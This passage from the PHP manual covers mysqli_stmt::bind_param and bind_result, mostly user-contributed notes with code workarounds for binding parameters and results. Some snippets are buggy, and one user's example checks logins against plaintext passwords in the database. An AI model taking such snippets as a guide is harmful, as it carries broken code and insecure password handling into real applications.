            $ret[$key] = &$a[$key];
        }
        return $ret;
    }
    return $a;
}
?>

- and this change in iQuery:

        if ($stmt = $mysqli->prepare($sql)) {
            $arrParams = getRefArray($arrParams); // <-- Added due to changes since PHP 5.3
            $method = new ReflectionMethod('mysqli_stmt', 'bind_param');
            $method->invokeArgs($stmt, $arrParams);
            $stmt->execute();
            $meta = $stmt->result_metadata();
ghostarthour at exahost dot eu 27-Aug-2011 11:00
Simple workaround for casting:

<?php
function mysqli_cast_workaround() {
    $numargs = func_num_args();
    $types = '';
    for ($i = 0; $i < $numargs; $i++) {
         $arg = func_get_arg($i);
         if (is_numeric($arg)) {
             $types.="i";
         }else{
             $types.="s";
         }
         $args[($i+1)] = $arg;
         unset($arg);
    }
    $args[0] = $types;
   return call_user_func_array('mysqli_stmt_bind_param',$args);
}

?>
alex dot deleyn at gmail dot com 17-Jul-2011 03:50
MySQL has a "NULL-safe equal" operator (I'm guessing since 5.0)
http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#operator_equal-to

If you use this operator instead of the usual = you can interchange values and null in where clauses.

There is however a known bug when using this operator with datetime or timestamp fields: http://bugs.mysql.com/bug.php?id=36100
jk at jankriedner dot de 20-May-2011 11:39
There are some things to note when working with mysqli::bind_param() and array-elements.
Re-assigning an array will break any references, no matter if the keys are identical.
You have to explicitly reassign every single value in an array, for the references to be kept.
Best shown in an example:
<?php
function getData() {
    return array(
        0=>array(
            "name"=>"test_0",
            "email"=>"test_0@example.com"
        ),
        1=>array(
            "name"=>"test_1",
            "email"=>"test_1@example.com"
        )
    );
}
$db  = new mysqli("localhost","root","","tests");
$sql = "INSERT INTO `user` SET `name`=?,`email`=?";
$res = $db->prepare($sql);
// If you bind array-elements to a prepared statement, the array has to be declared first with the used keys:
$arr = array("name"=>"","email"=>"");
$res->bind_param("ss",$arr['name'],$arr['email']);
//So far the introduction...

/*
    Example 1 (wont work as expected, creates two empty entries)
    Re-assigning the array in the while()-head generates a new array, whereas references from bind_param stick to the old array
*/
foreach( getData() as $arr ) {
    $res->execute();
}

/*
    Example 2 (will work as expected)
    Re-assigning every single value explicitly keeps the references alive
*/
foreach( getData() as $tempArr ) {
    foreach($tempArr as $k=>$v) {
        $arr[$k] = $v;
    }
    $res->execute();
}
?>

Coming to the problem calling mysqli::bind_param() with a dynamic number of arguments via call_user_func_array() with PHP Version 5.3+, there's another workaround besides using an extra function to build the references for the array-elements.
You can use Reflection to call mysqli::bind_param(). When using PHP 5.3+ this saves you about 20-40% Speed compared to passing the array to your own reference-builder-function.
Example:
<?php
$db     = new mysqli("localhost","root","","tests");
$res    = $db->prepare("INSERT INTO test SET foo=?,bar=?");
$refArr = array("si","hello",42);
$ref    = new ReflectionClass('mysqli_stmt');
$method = $ref->getMethod("bind_param");
$method->invokeArgs($res,$refArr);
$res->execute();
?>
asb(.d o,t )han(a t)n i h e i(d.o_t)dk 23-Apr-2011 03:05
It should be noted that MySQL has some issues regarding the use of the IN clause in prepared statements.

I.e. the code:
<?php

$idArr = "1, 2, 3, 4";
$int_one = 1;
$int_two = 2;
$int_three = 3;
$int_four = 4;

$db = new MySQLi();
$bad_stmt = $db->prepare(SELECT `idAsLetters` FROM `tbl` WHERE `id` IN(?));
$bad_stmt->bind_param("s", $idArr);
$bad_stmt->bind_result($ias);
$bad_stmt->execute();

echo "Bad results:" . PHP_EOL;
while($stmt->fetch()){
   echo $ias . PHP_EOL;
}

$good_stmt->close();

$good_stmt = $db->prepare(SELECT `idAsLetters` FROM `tbl` WHERE `id` IN(?, ?, ?, ?));
$good_stmt->bind_param("iiii", $int_one, $int_two, $int_three, $int_four);
$good_stmt->bind_result($ias);
$good_stmt->execute();

echo "God results:" . PHP_EOL;
while($stmt->fetch()){
   echo $ias . PHP_EOL;
}
$bad_stmt->close();

$db->close();
?>
will print this result:

Bad results:
one

Good results:
one
two
three
four

Using "IN(?)" in a prepared statement will return just one (the first) row from a table/view. This is not an error in PHP, but merely how MySQL handles prepared statements.
Anonymous 28-Mar-2011 10:49
You can bind to variables with NULL values, and on update and insert queries, the corresponding field will be updated to NULL no matter what bind string type you associated it with.  But, for parameters meant for the WHERE clause (ie where field = ?), the query will have no effect and produce no results.

When comparing a value against NULL, the MYSQL syntax is either "value IS NULL" or "value IS NOT NULL".  So, you can't pass in something like "WHERE (value = ?)" and expect this to work using a null value parameter.

Instead, you can do something like this in your WHERE clause:

"WHERE (IF(ISNULL(?), field1 is null, field1 = ?))"

Then, pass in the value you want to test twice:

bind_param('ss', $value1, $value1);
Anonymous 14-Mar-2011 11:28
Blob and null handling aside, a couple of notes on how param values are automatically converted and forwarded on to the Mysql engine based on your type string argument:

1) PHP will automatically convert the value behind the scenes to the underlying type corresponding to your binding type string.  i.e.:

<?php

$var = true;
bind_param('i', $var); // forwarded to Mysql as 1

?>

2) Though PHP numbers cannot be reliably cast to (int) if larger than PHP_INT_MAX, behind the scenes, the value will be converted anyway to at most long long depending on the size.  This means that keeping in mind precision limits and avoiding manually casting the variable to (int) first, you can still use the 'i' binding type for larger numbers.  i.e.:

<?php

$var = '429496729479896';
bind_param('i', $var); // forwarded to Mysql as 429496729479900

?>

3) You can default to 's' for most parameter arguments in most cases.  The value will then be automatically cast to string on the back-end before being passed to the Mysql engine.  Mysql will then perform its own conversions with values it receives from PHP on execute.  This allows you to bind not only to larger numbers without concern for precision, but also to objects as long as that object has a '__toString' method.

This auto-string casting behavior greatly improves things like datetime handling.  For example: if you extended DateTime class to add a __toString method which outputs the datetime format expected by Mysql, you can just bind to that DateTime_Extended object using type 's'.  i.e.:

<?php

// DateTime_Extended has __toString defined to return the Mysql formatted datetime
$var = new DateTime_Extended;
bind_param('s', $var); // forwarded to Mysql as '2011-03-14 17:00:01'

?>
user at mail dot com 25-Jan-2011 09:44
I had a problem with the LIKE operator

This code did not work:

<?php
$test = $sql->prepare("SELECT name FROM names WHERE name LIKE %?%");
$test->bind_param("s", $myname);
?>

The solution is:

<?php
$test = $sql->prepare("SELECT name FROM names WHERE name LIKE ?");
$param = "%" . $myname . "%";
$test->bind_param("s", $param);
?>
canche_x at yahoo dot com 12-Nov-2010 01:43
Hi, I just write a function to do all my sql statements based on all the others comments in this page, maybe it can be useful for someone else :)

Usage:

execSQL($sql, $parameters, $close);

$sql = Statement to execute;
$parameters = array of type and values of the parameters (if any)
$close = true to close $stmt (in inserts) false to return an array with the values;

Examples:

execSQL("SELECT * FROM table WHERE id = ?", array('i', $id), false);

execSQL("SELECT * FROM table", array(), false);

execSQL("INSERT INTO table(id, name) VALUES (?,?)", array('ss', $id, $name), true);

<?php

function execSQL($sql, $params, $close){
           $mysqli = new mysqli("localhost", "user", "pass", "db");

           $stmt = $mysqli->prepare($sql) or die ("Failed to prepared the statement!");

           call_user_func_array(array($stmt, 'bind_param'), refValues($params));

           $stmt->execute();

           if($close){
               $result = $mysqli->affected_rows;
           } else {
               $meta = $stmt->result_metadata();

               while ( $field = $meta->fetch_field() ) {
                   $parameters[] = &$row[$field->name];
               }

            call_user_func_array(array($stmt, 'bind_result'), refValues($parameters));

            while ( $stmt->fetch() ) {
               $x = array();
               foreach( $row as $key => $val ) {
                  $x[$key] = $val;
               }
               $results[] = $x;
            }

            $result = $results;
           }

           $stmt->close();
           $mysqli->close();

           return  $result;
   }

    function refValues($arr){
        if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
        {
            $refs = array();
            foreach($arr as $key => $value)
                $refs[$key] = &$arr[$key];
            return $refs;
        }
        return $arr;
    }
?>

Regards
erik at gravyllc dot com 22-Sep-2010 06:05
WOW! Thanks for the code that fixed the issue with mysqli_stmt_bind_param and PHP 5.3+. Worth sharing again for people getting the error message that a reference was expected and a value was provided. Here's a snippet and the whole function that fixed it!

//Use it like this
call_user_func_array('mysqli_stmt_bind_param', array_merge (array($sql_stmt, $type), $this->refValues($param)));

function refValues($arr)
{
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
         return $refs;
     }
     return $arr;
}
Mark Reddin 08-Sep-2010 12:30
Miguel Hatrick's Statement_Parameter class, as posted in these notes, allows for a relatively painless way of writing secure dynamic SQL.  It is secure against SQL injection because we still use bind parameters for any content coming from the user.

For example, the following code constructs an insert statement, but looks at which query string (GET) parameters are present in order to figure out which columns should be included.  The ParameterManager.php file is simply Miguel's classes as posted in this discussion.

<?php
require_once("dbConnectionParams.php");
require_once("ParameterManager.php");

$sp = new Statement_Parameter();

$column_list = "";

$value_list = "";

if (isset ($_GET['name']) ) {
    $column_list = $column_list . "name,";
    $value_list = $value_list . "?,";
    $sp->Add_Parameter('name', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
    $sp->Set_Parameter('name',$_GET['name']);
}

if (isset($_GET['address']) ) {
    $column_list = $column_list . "address,";
    $value_list = $value_list . "?,";
    $sp->Add_Parameter('address', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
    $sp->Set_Parameter('address',$_GET['address']);
}

//tidy up column list and value list - the code above will always leave them ending in a comma, which we remove now
$column_list = substr($column_list, 0, strlen($column_list) -1);
$value_list = substr($value_list, 0, strlen($value_list) -1);

$sql = "insert into test_table (" . $column_list . ") values (" . $value_list . ");";

echo $sql;

$mysqli = @new mysqli($host,$user,$password,$database);
$stmt = $mysqli->prepare($sql);

$sp->Bind_Params($stmt);

if($stmt->execute() === TRUE)
{
    /*** assign the last insert id ***/
    $last_id = $mysqli->insert_id;
    echo "OK$last_id";
}
else {
    echo $mysqli->error;
}

?>
gregg at mochabomb dot com 28-Apr-2010 07:29
Used the hints above - esp the call_user_func_array - what works simply is passing by reference...

<?php

class MySQL {

   // so vars that are global to the class
   var $connection;
   var $dbc;

   function __construct () {
      $this->connection = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
      if (mysqli_connect_errno()) {
         //printf("Could not connect to the DB: %s\n", mysqli_connect_error()); // TMI
         printf("Could not connect to the DB");
         exit();
      }
   }

   function DBi($info) {
      //  a call has this array structure
      //  $this->info['params'] = array('is', &$user, &$name);
      //  $this->info['query'] = "select id, username, role_id from users where id = ? and name = ?";
      //  $this->info['close'] = "false";  // return $stmt for further work
      //
      $mysqli = $this->connection;
      $params = $info['params'];
      // print_r($info);  // debug
      if ($stmt = $mysqli->prepare($info['query'])) {
          $ret = call_user_func_array (array($stmt,'bind_param'),$info['params']);
          // $ret not used yet...
          $stmt->execute();
          if ($info['close'] == "true") {
             $result = $mysqli->affected_rows;
             $stmt->close();
             return $result;
          } else {
             return $stmt;
          }
      } else { printf("Prepared Statement Error: $server_id \n"); }
   }

}

?>

The close is generally for inserts, else the $stmt is returned for further processing...

<?php
// call the method to run the prepared query, then return statement handle.  If just wanted an insert, use close = true
if ( is_int($user) ) {
   $this->info['params'] = array('is', &$user, &$name);
   $this->info['query'] = "select id, username, role_id from users where id = ? and name = ?";
   $this->info['close'] = "false";  // return $stmt for further work
   $stmt = parent::DBi($this->info);
   $stmt->bind_result($col1, $col2, $col3);
   while( $stmt->fetch() ) {
            $res['id'] = $col1;
            $res['username'] = $col2;
            $res['role_id'] = $col3;
            $res['error'] = 0;
   }
   $stmt->close;
   return $res;
}

?>
eisoft 19-Mar-2010 12:42
I did a prepared statement for inserting in a simple table - images ( blob ) and their unique identifiers ( string ). All my blobs have smaller sizes than the MAX-ALLOWED-PACKET value.

I've found that when binding my BLOB parameter, I need to pass it as a STRING, otherwise it's truncated to zero length in my table. So I have to do this:

<?php
   $ok = $stmt->bind_param( 'ss', $id, $im ) ;
?>
fabio at kidopi dot com dot br 15-Mar-2010 06:14
I used to have problems with call_user_func_array and bind_param after migrating to php 5.3.

The problem is that 5.3 requires array values as reference while 5.2 works with real values.

so i created a secondary function to help me with this...

<?php
function refValues($arr){
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
        return $refs;
    }
    return $arr;
}
?>

and changed my previous function from:

<?php
call_user_func_array(array($this->stmt, "bind_param"),$this->valores);
?>

to:

<?php
call_user_func_array(array($this->stmt, "bind_param"),refValues($this->valores));
?>

in this way my db functions keep working in php 5.2/5.3 servers.

I hope this help someone.
rejohns at nOsPaMpost dot harvard dot edu 11-Feb-2010 05:24
You can, in fact, use mysqli_bind_parameter to pass a NULL value to the database. simply create a variable and store the NULL value (see the manpage for it) to the variable and bind that. Works great for me anyway.
Miguel Hatrick 17-Jul-2009 05:14
This might be helpful for someone. I made a class to manage the parameters

Its used like this:

<?php
$stmt = $mysqli->prepare("CALL item_add(?, ?, ?, ?)");

$sp = new Statement_Parameter();

$sp->Add_Parameter('mydescription', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
$sp->Add_Parameter('myean',            Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
$sp->Add_Parameter('myprice',        Statement_Parameter_Type::$STATEMENT_TYPE_DOUBLE);
$sp->Add_Parameter('myactive',        Statement_Parameter_Type::$STATEMENT_TYPE_INTEGER);

// call this to bind the parameters
$sp->Bind_Params($stmt);

//you can then modify the values as you wish
$sp->Set_Parameter('myactive',0);
$sp->Set_Parameter('mydescription','whatever');

/* execute prepared statement */
$stmt->execute();

class Statement_Parameter
{
    private $_array = array();

    public function __constructor()
    {
    }

    public function Add_Parameter($name, $type, $value = NULL)
    {
        $this->_array[$name] = array("type" => $type, "value" => $value);
    }

    public function Get_Type_String()
    {
        $types = "";

        foreach($this->_array as $name => $la)
            $types .= $la['type'];

        return $types;
    }

    public function Set_Parameter($name, $value)
    {
        if (isset($this->_array[$name]))
        {
            $this->_array[$name]["value"] = $value;
            return true;
        }
        return false;
    }

    public function Bind_Params(&$stmt)
    {
        $ar = Array();

        $ar[] = $this->Get_Type_String();

        foreach($this->_array as $name => $la)
            $ar[] = &$this->_array[$name]['value'];

        return call_user_func_array(array($stmt, 'bind_param'),$ar);
    }
}

class Statement_Parameter_Type
{
    public static $STATEMENT_TYPE_INTEGER = 'i';
    public static $STATEMENT_TYPE_DOUBLE =     'd';
    public static $STATEMENT_TYPE_STRING =     's';
    public static $STATEMENT_TYPE_BLOB =     'b';
}
?>
Kai Sellgren 13-Mar-2009 12:26
A few notes on this function.

If you specify type "i" (integer), the maximum value it allows you to have is 2^32-1 or 2147483647. So, if you are using UNSIGNED INTEGER or BIGINT in your database, then you are better off using "s" (string) for this.

Here's a quick summary:
(UN)SIGNED TINYINT: I
(UN)SIGNED SMALLINT: I
(UN)SIGNED MEDIUMINT: I
SIGNED INT: I
UNSIGNED INT: S
(UN)SIGNED BIGINT: S

(VAR)CHAR, (TINY/SMALL/MEDIUM/BIG)TEXT/BLOB should all have S.

FLOAT/REAL/DOUBLE (PRECISION) should all be D.

That advice was for MySQL. I have not looked into other database software.
tasdildiren at gmail dot com 25-Feb-2009 11:29
<?php
/* just explaining how to call mysqli_stmt_bind_param with a parameter array */

$sql_link = mysqli_connect('localhost', 'my_user', 'my_password', 'world');
$type = "isssi";
$param = array("5", "File Description", "File Title", "Original Name", time());
$sql = "INSERT INTO file_detail (file_id, file_description, file_title, file_original_name, file_upload_date) VALUES (?, ?, ?, ?, ?)";
$sql_stmt = mysqli_prepare ($sql_link, $sql);
call_user_func_array('mysqli_stmt_bind_param', array_merge (array($sql_stmt, $type), $param);
mysqli_stmt_execute($sql_stmt);
?>
Mahees 21-Feb-2009 07:34
///////////////////////////////

Im sure many of you may want to use this functionality.

spent about 3hours writing this, so maybe i can save somone else some time, you can break it up into smaller functions for reuse as you wish.

the mysqli stmt bind param (mysqli_stmt_bind_param) function only takes one variable at a time, so its difficult to pass in a few variables to fill in the placeholder space.

this allows mysqli prepared statements with variable arguments, one sql template with multiple placeholders to be prepared and excuted.

hope this helps somone,
Mahees.

///////////////////////////////

<?php
$uname = 'mahees';
$pass = 'mahees';

$userPassArr = DataAccess::fetch('SELECT * FROM users WHERE username = ? AND password = ?', $uname, $pass);
print_r($userPassArr);

/*
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => mahees
            [password] => mahees
        )

)
*/

$userPassArr = DataAccess::fetch('SELECT * FROM users');
print_r($userPassArr);

/*
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => mahees
            [password] => mahees
        )

    [1] => Array
        (
            [id] => 4
            [username] => foo
            [password] => bar
        )

    [2] => Array
        (
            [id] => 5
            [username] => bar
            [password] => baz
        )

)
*/

//********* function in DataAccess class *********
//im sure this can be written better with more checks...but principle stands

    static function fetch() {
        $args = func_get_args();
        $sql = array_shift($args);
        $link = self::establish_db_conn();
        if (!$stmt = mysqli_prepare($link, $sql)) {
            self::close_db_conn();
            die('Please check your sql statement : unable to prepare');
        }
        $types = str_repeat('s', count($args));
        array_unshift($args, $types);
        array_unshift($args, $stmt);
        call_user_func_array('mysqli_stmt_bind_param', $args);

        mysqli_stmt_execute($stmt);

        $result = mysqli_stmt_result_metadata($stmt);
        $fields = array();
        while ($field = mysqli_fetch_field($result)) {
            $name = $field->name;
            $fields[$name] = &$$name;
        }
        array_unshift($fields, $stmt);
        call_user_func_array('mysqli_stmt_bind_result', $fields);

        array_shift($fields);
        $results = array();
        while (mysqli_stmt_fetch($stmt)) {
            $temp = array();
            foreach($fields as $key => $val) { $temp[$key] = $val; }
            array_push($results, $temp);
        }

        mysqli_free_result($result);
        mysqli_stmt_close($stmt);
        self::close_db_conn();

        return $results;
    }
?>
mark at x2software dot net 07-Sep-2008 11:26
I wanted to pass the parameters for several queries to a single function to fill them (insert / update having the same fields for example), while at the same time making the types array a bit easier to maintain when you've got a lot of parameters. Here's a simple solution I came up with:

<?php
function bindParameters(&$statement, &$params)
{
  $args   = array();
  $args[] = implode('', array_values($params));

  foreach ($params as $paramName => $paramType)
  {
    $args[] = &$params[$paramName];
    $params[$paramName] = null;
  }

  call_user_func_array(array(&$statement, 'bind_param'), $args);
}

// Usage:
$statement = $database->prepare('INSERT INTO test (value1, value2) VALUES (?, ?)');
$params    = array('param1' => 's',
                   'param2' => 'i');

bindParameters($statement, $params);

$params['param1'] = 'parameter test';
$params['param2'] = 42;

$statement->execute();
?>

Note that the types will be overwritten after a call to bindParameters to provide a sensible default (otherwise it will be used as the parameter value when you execute the statement), so you need to reinitialize the types if you want to bind it to another statement.
jette at nerdgirl dot dk 17-Jul-2008 10:46
I already have a database class that makes everything nice and easy. But when it came to preparing, binding and executing, I found it was a real challenge to boil things down.

But luckily I stumbled over a bug-report with a workaround, that pointed me in the right direction.: http://bugs.php.net/bug.php?id=43568

I now execute stored procedures (aka routines) like this:

<?php
$db = new myDb();
$db->execProcedure('call someProc(?,?)','ss',array('param1','param2'));
?>

And this is the code to make it happen:
(I extracted this example from a bigger context, but you probably get the idea)

<?php
class myDb extends mysqli {

  public function  __construct() {
    //Connection established here
  }

  public function execProcedure($call,$types,$params) {
    $stmt = $this->prepare($call);
    $bind_names[] = $types;
    for ($i=0; $i<count($params);$i++) {
      $bind_name = 'bind' . $i;
      $$bind_name = $params[$i];
      $bind_names[] = &$$bind_name;
    }
    $return = call_user_func_array(array($stmt,'bind_param'),$bind_names);
    $stmt->execute();
    $stmt->close();
  }
}
michael dot martinek at gmail dot com 30-Dec-2007 02:00
Small correction. This version removes the NULL element from the array, so it doesn't fall on to the next ? when passed to mysql_stmt_bind_param(). Note that $saParams is still passed by reference, but now it is being modified.

<?php

function preparse_prepared($sQuery, &$saParams)
{
    $nPos = 0;

    $sRetval = $sQuery;
    foreach ($saParams as $x_Key => $Param)
    {
        //if we find no more ?'s we're done then
        if (($nPos = strpos($sQuery, '?', $nPos + 1)) === false)
        {
            break;
        }

        //this test must be done second, because we need to increment offsets of $nPos for each ?.
        //we have no need to parse anything that isn't NULL.
        if (!is_null($Param))
        {
            continue;
        }

        //null value, replace this ? with NULL.
        $sRetval = substr_replace($sRetval, 'NULL', $nPos, 1);

        //unset this element now
        unset($saParams[$x_Key]);
    }

    return $sRetval;
}

?>
michael dot martinek at gmail dot com 30-Dec-2007 01:52
I've found that you can't pass NULL values in using mysql_stmt_bind_param. Recently I ran into this problem because I wrote some MySQL routines that would update existing data, but only when the value wasn't NULL.

My solution to work around this is simple:

<?php

function preparse_prepared($sQuery, &$saParams)
{
    $nPos = 0;

    $sRetval = $sQuery;
    foreach ($saParams as $Param)
    {
        //if we find no more ?'s we're done then
        if (($nPos = strpos($sQuery, '?', $nPos + 1)) === false)
        {
            break;
        }

        //this test must be done second, because we need to increment offsets of $nPos for each ?.
        //we have no need to parse anything that isn't NULL.
        if (!is_null($Param))
        {
            continue;
        }

        //null value, replace this ? with NULL.
        $sRetval = substr_replace($sRetval, 'NULL', $nPos, 1);
    }

    return $sRetval;
}

?>

This will iterate the given list of parameters and replace any null values in the query with an actual null value. You'll want to use the resulting $sQuery to pass to mysqli_prepare(). For that, I use another routine that generates a list of the values (s, i, etc).

For example:

<?php

                    array_unshift($saParams, $this->getPreparedTypeString($saParams));
                    array_unshift($saParams, $stmt);

                    call_user_func_array('mysqli_stmt_bind_param', $saParams);

?>

Where getPreparedTypeString is defined as:

<?php

        public static function getPreparedTypeString(&$saParams)
        {
            $sRetval = '';

            //if not an array, or empty.. return empty string
            if (!is_array($saParams) || !count($saParams))
            {
                return $sRetval;
            }

            //iterate the elements and figure out what they are, and append to result
            foreach ($saParams as $Param)
            {
                if (is_int($Param))
                {
                    $sRetval .= 'i';
                }
                else if (is_double($Param))
                {
                    $sRetval .= 'd';
                }
                else if (is_string($Param))
                {
                    $sRetval .= 's';
                }
            }

            return $sRetval;
        }

?>

To clarify why I pass array values by reference: They aren't being modified, so I don't want copies of them begin made in memory as they may be large. In other languages, this is much more efficient. Not sure if PHP handles passing values on a "copy on edit" basis.. but I'm guessing not.
Anonymous 15-Dec-2007 07:24
It's worth noting that you have to bind all parameters in one fell swoop - you can't go through and call bind_param once for each.
flame 19-Feb-2007 05:44
Columns with type bigint need to be specified as type 'd' NOT 'i'.

Using 'i' results in large numbers (eg 3000169151) being truncated.

--
flame


Binds variables to a prepared statement for result storage

  • « mysqli_stmt::bind_param
  • mysqli_stmt::close »
  • PHP Manual
  • mysqli_stmt
  • Binds variables to a prepared statement for result storage

mysqli_stmt::bind_result

mysqli_stmt_bind_result

(PHP 5)

mysqli_stmt::bind_result -- mysqli_stmt_bind_result — Binds variables to a prepared statement for result storage

Description

Object oriented style

bool mysqli_stmt::bind_result ( mixed &$var1 [, mixed &$... ] )

Procedural style

bool mysqli_stmt_bind_result ( mysqli_stmt $stmt , mixed &$var1 [, mixed &$... ] )

Binds columns in the result set to variables.

When mysqli_stmt_fetch() is called to fetch data, the MySQL client/server protocol places the data for the bound columns into the specified variables var1, ....

Note:

Note that all columns must be bound after mysqli_stmt_execute() and prior to calling mysqli_stmt_fetch(). Depending on column types bound variables can silently change to the corresponding PHP type.

A column can be bound or rebound at any time, even after a result set has been partially retrieved. The new binding takes effect the next time mysqli_stmt_fetch() is called.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

var1

The variable to be bound.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* prepare statement */
if ($stmt = $mysqli->prepare("SELECT Code, Name FROM Country ORDER BY Name LIMIT 5")) {
    $stmt->execute();

    /* bind variables to prepared statement */
    $stmt->bind_result($col1, $col2);

    /* fetch values */
    while ($stmt->fetch()) {
        printf("%s %s\n", $col1, $col2);
    }

    /* close statement */
    $stmt->close();
}
/* close connection */
$mysqli->close();

?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* prepare statement */
if ($stmt = mysqli_prepare($link, "SELECT Code, Name FROM Country ORDER BY Name LIMIT 5")) {
    mysqli_stmt_execute($stmt);

    /* bind variables to prepared statement */
    mysqli_stmt_bind_result($stmt, $col1, $col2);

    /* fetch values */
    while (mysqli_stmt_fetch($stmt)) {
        printf("%s %s\n", $col1, $col2);
    }

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

AFG Afghanistan
ALB Albania
DZA Algeria
ASM American Samoa
AND Andorra

See Also

  • mysqli_stmt_get_result() - Gets a result set from a prepared statement
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_execute() - Executes a prepared Query
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_init() - Initializes a statement and returns an object for use with mysqli_stmt_prepare
  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_error() - Returns a string description for last statement error

User Contributed Notes

timchampion dot NOSPAM at gmail dot com 21-Feb-2012 04:29
Just wanted to make sure that all were aware of get_result for those needing the result in array format.

In the code sample, after execute(), perform a get_result() like this:

<?php

// ... this document's example code:

    $stmt->execute();

    /* instead of bind_result: */
    $result = $stmt->get_result();

    /* now you can fetch the results into an array - NICE */
    while ($myrow = $result->fetch_assoc()) {
        printf("%s %s\n", $myrow['Code'], $myrow['Name']);
    }

?>

This is much nicer when you have a dozen or more fields coming back from your query.  Hope this helps.  Also, as noted in the comments for get_result, it requires mysqlnd.
dev+php at alepe dot com 26-Jul-2011 07:31
According to the above documentation:
"Depending on column types bound variables can silently change to the corresponding PHP type. "

if you specify a field as int (tinyint, mediumint, etc.) with zerofill property, it will be converted (silently) to PHP integer (erasing the leading zeros). In order to keep those leading zeros, one solution is to specify the field as decimal.

Note that this only happens when using prepared statements and not when executing the query directly.
scragar at gmail dot com 16-Jun-2011 09:02
To clarify for anyone having problems with arrays, PHP will automatically pass arrays as references, cloning the array if needed in the event of setting or unsetting a part of it, changing a referenced variable does not trigger cloning.

This is done for efficiency, to clone an array containing this information you may either use a foreach loop, or set/unset a key. Techniques like array_values will also work provided you don't mind losing your keys.
nieprzeklinaj at gmail dot com 01-Feb-2011 10:02
I wrote a function that fetches all rows from a result set - either normal or prepared.

<?php
function fetch($result)
{
    $array = array();

    if($result instanceof mysqli_stmt)
    {
        $result->store_result();

        $variables = array();
        $data = array();
        $meta = $result->result_metadata();

        while($field = $meta->fetch_field())
            $variables[] = &$data[$field->name]; // pass by reference

        call_user_func_array(array($result, 'bind_result'), $variables);

        $i=0;
        while($result->fetch())
        {
            $array[$i] = array();
            foreach($data as $k=>$v)
                $array[$i][$k] = $v;
            $i++;

            // don't know why, but when I tried $array[] = $data, I got the same one result in all rows
        }
    }
    elseif($result instanceof mysqli_result)
    {
        while($row = $result->fetch_assoc())
            $array[] = $row;
    }

    return $array;
}
?>

Simply call it passing a result set or executed statement and you'll get all rows fetched.
quano 23-Dec-2010 01:19
If I have a longtext field in the result, the whole page will go blank, without giving me any errors what so ever. This is because PHP _crashes_. I've spent an entire morning figuring this out.

Apparently, if you have longtext present, you HAVE to call store_result before using bind_result.

http://bugs.php.net/bug.php?id=47928
pcc at pccglobal dot com 01-Aug-2010 04:06
If done properly, 'call_user_func_array()' works to bind variables to a result of multiple columns including BLOB columns.

EXAMPLE:

<?php
$data = array() ; // Array that accepts the data.
$params = array() ; // Parameter array passed to 'bind_result()'
$column = array("fidentity", "fvarchar", "fdate", "ftinyblob") ; // The column names.
foreach($column as $col_name)
{
  // 'fetch()' will assign fetched value to the variable '$data[$col_name]'
  $params[] =& $data[$col_name] ;
}
$res = call_user_func_array(array($stmt, "bind_result"), $params) ;
?>

Here's the complete example.
WARNING: When using 'prepare' to prepare a statement to retrieve LOBs the method order matters.
Also, method 'store_result()' must be called and be called in correct order.
Failure to observe this causes PHP/MySQLi to crash or return an erroneous value.
The proper procedure order is: prepare -> execute -> store_result -> bind -> fetch

<?php
$database = "test" ;
$table = "test" ;
$column = array("fidentity", "fvarchar", "fdate", "ftinyblob") ;
$select_set = "`fidentity`, `fvarchar`, `fdate`, `ftinyblob`" ;
$mysqli = new mysqli("localhost", "root", $password, $database);
// Proper procedure order: prepare -> execute -> store_result -> bind -> fetch
$stmt = $mysqli->prepare("SELECT $select_set FROM `$table`") ;
$stmt->execute();
$stmt->store_result();
$data = array() ; // Array that accepts the data.
$params = array() ; // Parameter array passed to 'bind_result()'
foreach($column as $col_name)
{
  // Assign the fetched value to the variable '$data[$name]'
  $params[] =& $data[$col_name] ;
}
$res = call_user_func_array(array($stmt, "bind_result"), $params) ;
if(! $res)
{
  echo "bind_result() failed: " . $mysqli->error . "\n" ;
}
else
{
  $res = $stmt->fetch() ;
  if($res)
  {
      echo "<pre>" . htmlentities(print_r($data, true)) . "</pre>\n" ;
  }
  else
  {
    echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  }
}
$stmt->close() ;
$mysqli->close() ;
exit ;
?>

The above example should output:
Array (
  [fidentity] => 24
  [fvarchar] => the rain in spain
  [fdate] => 2010-07-31
  [ftinyblob] => GIF89a...(more BLOB data)
)
swissbob2 at yahoo dot co dot uk 28-Jun-2010 01:08
I discovered this one by accident; mysqli_stmt_bind_result overwrites an *existing* session variable of the same name (but doesn't create them).

In other words,

    mysqli_stmt_bind_result($stmt, $col1, $col2);

will overwrite session variables $_SESSION['col1'] and $_SESSION['col2'] if they exist, but will not create them if they don't.
uramihsayibok, gmail, com 27-Jul-2009 10:35
A note to people to want to return an array of results - that is, an array of all the results from the query, not just one at a time.

<?php

// blah blah...
call_user_func_array(array($mysqli_stmt_object, "bind_result"), $byref_array_for_fields);

